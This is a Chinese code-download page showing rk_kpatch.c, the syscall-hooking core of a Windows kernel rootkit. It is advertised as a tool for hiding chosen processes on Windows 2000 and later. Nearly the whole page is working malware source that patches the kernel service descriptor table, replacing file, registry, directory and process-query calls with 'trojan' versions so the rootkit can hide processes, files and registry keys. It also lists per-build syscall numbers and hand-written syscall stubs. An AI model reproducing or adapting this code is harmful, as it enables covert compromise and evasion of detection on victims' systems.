⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 rk_kpatch.c

📁 能够在windows 2000以上操作系统下隐藏特定的进程
💻 C
字号:

#include "rk_driver.h"
#include "rk_kpatch.h"
#include "rk_ioman.h"
#include "rk_memory.h"
#include "rk_process.h"
#include "rk_security.h"
#include "rk_object.h"
#include "rk_interrupt.h"
#include "rk_utility.h"


ULONG BuildNumber; /* mask off hiword to get actual number */

/* ________________________________________________________________________________
 . This is the offset into a KPEB of the current process name. This is determined
 . dynamically by scanning the process block belonging to the GUI for its name.
 . ________________________________________________________________________________ */
ULONG gProcessNameOffset;

/* ________________________________________________________________________________
 . Kernel functions that will be hooked.
 . ------------------------------------
 . The Rootkit is based on function hooking.  Everything the rootkit can do is
 . based upon it.  For example, using call hooks, the rootkit can hide a process,
 . registry key, or file.  The rootkit can redirect calls.  All of these call hooks
 . can be exploited.  Extensive Debug-tracing is enabled so that you can experiment
 . with various tricks.  
 . ________________________________________________________________________________ */

/* ________________________________________________
 . our global function pointers to the actual
 . original kernel functions that we have hooked
 . ________________________________________________ */

NTCREATEFILE		OldNtCreateFile;
ZWOPENFILE			OldZwOpenFile;
NTCREATEPROCESS		OldNtCreateProcess;
ZWCREATESECTION		OldZwCreateSection;
ZWCREATETHREAD		OldZwCreateThread;
ZWCLOSE				OldZwClose;

ZWOPENKEY			OldZwOpenKey;
ZWQUERYKEY			OldZwQueryKey;
ZWQUERYVALUEKEY		OldZwQueryValueKey;
ZWENUMERATEVALUEKEY	OldZwEnumerateValueKey;
ZWENUMERATEKEY		OldZwEnumerateKey;
ZWDELETEKEY			OldZwDeleteKey;
ZWFLUSHKEY			OldZwFlushKey;
ZWSETVALUEKEY		OldZwSetValueKey;
ZWCREATEKEY			OldZwCreateKey;
ZWDELETEVALUEKEY	OldZwDeleteValueKey;

ZWQUERYDIRECTORYOBJECT OldZwQueryDirectoryObject;
ZWQUERYDIRECTORYFILE OldZwQueryDirectoryFile;
ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;

/* _____________________________________________
 . the callnumbers for kernel functions we are
 . implementing manually - these vary depending
 . on NT build number.
 . _____________________________________________ */

DWORD _callnumber_NtCreateProcess = 0;
DWORD _callnumber_NtCreateThread = 0;
DWORD _callnumber_NtQueryDirectoryObject = 0;

/* ____________________________________________________________________________
 . OK, this should be fairly self explanatory - we are hooking syscalls in
 . this function.  We get pointers to the old functions (the real ones) and
 . set the table to point to our trojan function.  It is up to our trojan
 . function to then make the real call to the original function.
 . OldZwXXX is the actual, real function in the kernel.
 . NewZwXXX is the rootkit trojan version of the function.
 .
 . Note that we disable interrupts while we patch the syscall table.
 . ____________________________________________________________________________ */
VOID HookSyscalls( void )
{
		DbgPrint("rootkit: hooking syscalls\n");
        
		/* the ones we do manually */
		if(_callnumber_NtCreateProcess)
			OldNtCreateProcess=	
			(NTCREATEPROCESS)	KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtCreateProcess];
		
		if(_callnumber_NtCreateThread)
			OldZwCreateThread=	
			(ZWCREATETHREAD)	KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtCreateThread];

		if(_callnumber_NtQueryDirectoryObject)
			OldZwQueryDirectoryObject=	
			(ZWQUERYDIRECTORYOBJECT) KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtQueryDirectoryObject];

		/* the rest are imported */
		OldNtCreateFile=		(NTCREATEFILE)(SYSTEMSERVICE(ZwCreateFile));
		OldZwOpenFile=			(ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile));

        OldZwCreateSection=		(ZWCREATESECTION)(SYSTEMSERVICE(ZwCreateSection));
        OldZwClose=				(ZWCLOSE)(SYSTEMSERVICE(ZwClose));

		OldZwOpenKey=			(ZWOPENKEY)(SYSTEMSERVICE(ZwOpenKey));
		OldZwQueryKey=			(ZWQUERYKEY)(SYSTEMSERVICE(ZwQueryKey));
		OldZwQueryValueKey=		(ZWQUERYVALUEKEY)(SYSTEMSERVICE(ZwQueryValueKey));
		OldZwEnumerateValueKey=	(ZWENUMERATEVALUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey));
		OldZwEnumerateKey=		(ZWENUMERATEKEY)(SYSTEMSERVICE(ZwEnumerateKey));
		OldZwDeleteKey=			(ZWDELETEKEY)(SYSTEMSERVICE(ZwDeleteKey));
		OldZwFlushKey=			(ZWFLUSHKEY)(SYSTEMSERVICE(ZwFlushKey));
		OldZwSetValueKey=		(ZWSETVALUEKEY)(SYSTEMSERVICE(ZwSetValueKey));
		OldZwCreateKey=			(ZWCREATEKEY)(SYSTEMSERVICE(ZwCreateKey));
		OldZwDeleteValueKey=	(ZWDELETEVALUEKEY)(SYSTEMSERVICE(ZwDeleteValueKey));
		
		/* directory hiding */
		OldZwQueryDirectoryFile=(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile));
		/* process hiding */
		OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));

		_asm cli
		
		if(_callnumber_NtCreateProcess)
			(NTCREATEPROCESS)
			KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtCreateProcess] 
			= NewNtCreateProcess;

		if(_callnumber_NtCreateThread)
			(ZWCREATETHREAD)
			KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtCreateThread] 
			= NewZwCreateThread;

		if(_callnumber_NtQueryDirectoryObject)	
			(ZWQUERYDIRECTORYOBJECT)
			KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtQueryDirectoryObject] 
			= NewZwQueryDirectoryObject;

		/* process, file, & thread functions */
        (NTCREATEFILE)			(SYSTEMSERVICE(ZwCreateFile))=			NewNtCreateFile;
		(ZWOPENFILE)			(SYSTEMSERVICE(ZwOpenFile))=			NewZwOpenFile;

		(ZWCREATESECTION)		(SYSTEMSERVICE(ZwCreateSection))=		NewZwCreateSection;
		(ZWCLOSE)				(SYSTEMSERVICE(ZwClose))=				NewZwClose;
		
		/* registry functions */
		(ZWOPENKEY)				(SYSTEMSERVICE(ZwOpenKey))=				NewZwOpenKey;
		(ZWQUERYKEY)			(SYSTEMSERVICE(ZwQueryKey))=			NewZwQueryKey;
		(ZWQUERYVALUEKEY)		(SYSTEMSERVICE(ZwQueryValueKey))=		NewZwQueryValueKey;
		(ZWENUMERATEVALUEKEY)	(SYSTEMSERVICE(ZwEnumerateValueKey))=	NewZwEnumerateValueKey;
		(ZWENUMERATEKEY)		(SYSTEMSERVICE(ZwEnumerateKey))=		NewZwEnumerateKey;
		(ZWDELETEKEY)			(SYSTEMSERVICE(ZwDeleteKey))=			NewZwDeleteKey;
		(ZWFLUSHKEY)			(SYSTEMSERVICE(ZwFlushKey))=			NewZwFlushKey;
		(ZWSETVALUEKEY)			(SYSTEMSERVICE(ZwSetValueKey))=			NewZwSetValueKey;
		(ZWCREATEKEY)			(SYSTEMSERVICE(ZwCreateKey))=			NewZwCreateKey;
		(ZWDELETEVALUEKEY)		(SYSTEMSERVICE(ZwDeleteValueKey))=		NewZwDeleteValueKey;
		
		/* directory hiding */
		(ZWQUERYDIRECTORYFILE)  (SYSTEMSERVICE(ZwQueryDirectoryFile))=  NewZwQueryDirectoryFile;
		
		/* process hiding */
		(ZWQUERYSYSTEMINFORMATION) (SYSTEMSERVICE(ZwQuerySystemInformation))= NewZwQuerySystemInformation;

		_asm sti
        
		//TestLaunchProcess(); /* greg was testing here */	
		return STATUS_SUCCESS;
}

/* clearly to unhook what we have hooked :-| */
VOID UnhookSyscalls( void )
{
	DbgPrint("unhooking services\n");
    _asm cli
	/* the manual ones */
	if(_callnumber_NtCreateProcess)
		(NTCREATEPROCESS)
		KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtCreateProcess] 
		= OldNtCreateProcess;

	if(_callnumber_NtCreateThread)
		(ZWCREATETHREAD)
		KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtCreateThread] 
		= OldZwCreateThread;

	if(_callnumber_NtQueryDirectoryObject)	
		(ZWQUERYDIRECTORYOBJECT) 
		KeServiceDescriptorTable.ServiceTableBase[_callnumber_NtQueryDirectoryObject] 
		= OldZwQueryDirectoryObject;

	/* the imported ones */
    (NTCREATEFILE)(SYSTEMSERVICE(ZwCreateFile))			=OldNtCreateFile;
	(ZWOPENFILE)(SYSTEMSERVICE(ZwOpenFile))				=OldZwOpenFile;

	(ZWCREATESECTION)(SYSTEMSERVICE(ZwCreateSection))	=OldZwCreateSection;
	(ZWCLOSE)(SYSTEMSERVICE(ZwClose))					=OldZwClose;

	(ZWOPENKEY)(SYSTEMSERVICE(ZwOpenKey))				=OldZwOpenKey;
	(ZWQUERYKEY)(SYSTEMSERVICE(ZwQueryKey))				=OldZwQueryKey;
	(ZWQUERYVALUEKEY)(SYSTEMSERVICE(ZwQueryValueKey))	=OldZwQueryValueKey;
	(ZWENUMERATEVALUEKEY)(SYSTEMSERVICE(ZwEnumerateValueKey))=OldZwEnumerateValueKey;
	(ZWENUMERATEKEY)(SYSTEMSERVICE(ZwEnumerateKey))		=OldZwEnumerateKey;
	(ZWDELETEKEY)(SYSTEMSERVICE(ZwDeleteKey))			=OldZwDeleteKey;
	(ZWFLUSHKEY)(SYSTEMSERVICE(ZwFlushKey))				=OldZwFlushKey;
	(ZWSETVALUEKEY)(SYSTEMSERVICE(ZwSetValueKey))		=OldZwSetValueKey;
	(ZWCREATEKEY)(SYSTEMSERVICE(ZwCreateKey))			=OldZwCreateKey;
	(ZWDELETEVALUEKEY)(SYSTEMSERVICE(ZwDeleteValueKey))	=OldZwDeleteValueKey;
	
	(ZWQUERYDIRECTORYFILE)(SYSTEMSERVICE(ZwQueryDirectoryFile))	=OldZwQueryDirectoryFile;
	
	(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation)) = OldZwQuerySystemInformation;

	_asm sti
    return;
}


/* _____________________________________________________________________________
 . These functions replace those that are not exported from NTOSKRNL.EXE -
 . we have to implement them manually.  Fortunately most of the functions
 . do not require this.  If you add a function here - you need to know the
 . call number and the stack correction for return.
 .
 . Beware: call numbers are different depending on which build of NT your on!
 .
 . CALL						NT351		NT40		WIN2K
 . ------------------------------------------------------
 . ZwCreateProcess			1E			1F			2A
 . ZwCreateThread						24			2F
 . ZwQueryDirectoryObject				66			82
 . _____________________________________________________________________________ */

void SetupCallNumbers()
{
	BuildNumber = (NtBuildNumber & 0x0000FFFF);
	DbgPrint("ROOTKIT: Detected build number is %d, ", BuildNumber);
	switch(BuildNumber)
	{
		/* call numbers that are not set will not be hooked - they
		 . are left as NULL */
	case 0x421:
		DbgPrint("Windows NT 3.51\n");
		_callnumber_NtCreateProcess = 0x1E;		
		break;
	case 0x565:
		DbgPrint("Windows NT 4.0\n");
		_callnumber_NtCreateProcess = 0x1F;
		_callnumber_NtCreateThread = 0x24;
		_callnumber_NtQueryDirectoryObject = 0x66;
		break;
	case 0x850: /* build 2128 appears to work OK */
	case 0x755: /* build 1877 is untested */
		DbgPrint("Windows 2000 Beta 2\n");
		_callnumber_NtCreateProcess = 0x2A;
		_callnumber_NtCreateThread = 0x2F;
		_callnumber_NtQueryDirectoryObject = 0x82;
		break;
	default:
		DbgPrint("Warning - unsupported windows version.  No call hooks will take place!\n");
		break;
	}
}

/* _____________________________________________________________________
 . GetProcessNameOffset
 .
 . Scan the KPEB looking for the "System" process name - because 
 . DriverEntry is called in that context.  This offset becomes a 
 . reference for later. -thanks to sysinternals for this trick ;-)
 . _____________________________________________________________________ */
void GetProcessNameOffset()
{
    PEPROCESS curproc;
    int i;
	curproc = PsGetCurrentProcess();
    for( i = 0; i < 3*PAGE_SIZE; i++ ) 
	{
        if( !strncmp( "System", (PCHAR) curproc + i, strlen("System") ))
		{
            gProcessNameOffset = i;
		}
    }
}


/* ________________________________________________________________________
 . Get the name of the current process
 . ________________________________________________________________________ */
BOOL GetProcessName( PCHAR theName )
{
    PEPROCESS       curproc;
    char            *nameptr;
    ULONG           i;
    KIRQL           oldirql;

    if( gProcessNameOffset ) 
	{
        curproc = PsGetCurrentProcess();
        nameptr   = (PCHAR) curproc + gProcessNameOffset;
        strncpy( theName, nameptr, NT_PROCNAMELEN );
        theName[NT_PROCNAMELEN] = 0; /* NULL at end */
		return TRUE;
    } 
	return FALSE;
}


/* __________________________________________________________________________
 . eweet we do it cuz there ain't no Xp0rt
 . __________________________________________________________________________ */
_declspec(naked) NTSTATUS NTAPI ZwCreateProcess(
			PHANDLE FileHandle,
            ACCESS_MASK DesiredAccess,
            POBJECT_ATTRIBUTES ObjectAttributes,
            PIO_STATUS_BLOCK IoStatusBlock,
            PLARGE_INTEGER AllocationSize OPTIONAL,
            ULONG FileAttributes,
            ULONG ShareAccess,
            ULONG CreateDisposition,
            ULONG CreateOptions,
            PVOID EaBuffer OPTIONAL,
            ULONG EaLength )
{
	_asm 
	{
		mov eax, _callnumber_NtCreateProcess
		lea edx, [esp+4]
		int 2eh
		ret 20h
	}
}

_declspec(naked) NTSTATUS NTAPI ZwCreateThread (
	OUT PHANDLE phThread,
	IN ACCESS_MASK AccessMask,
	IN POBJECT_ATTRIBUTES ObjectAttributes,
	IN HANDLE hProcess,
	OUT PCLIENT_ID pClientId,
	IN PCONTEXT pContext,
	OUT PSTACKINFO pStackInfo,
	IN BOOLEAN bSuspended )
{
	_asm 
	{
		mov eax, _callnumber_NtCreateThread
		lea edx, [esp+4]
		int 2eh
		ret 20h
	}
}

_declspec(naked) NTSTATUS NTAPI ZwQueryDirectoryObject(
	IN HANDLE hDirectory,
	OUT PQUERYDIRECTORYOBJECTBUFFER DirectoryEntryBuffer,
	IN ULONG DirectoryEntryBufferSize,
	IN BOOLEAN  bOnlyFirstEntry,
	IN BOOLEAN bFirstEntry,
	IN PULONG  BytesReturned,
	IN PULONG  EntryIndex )
{
	_asm
	{
		mov eax, _callnumber_NtQueryDirectoryObject
		lea edx, [esp+4]
		int 2eh
		ret 1Ch
	}
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -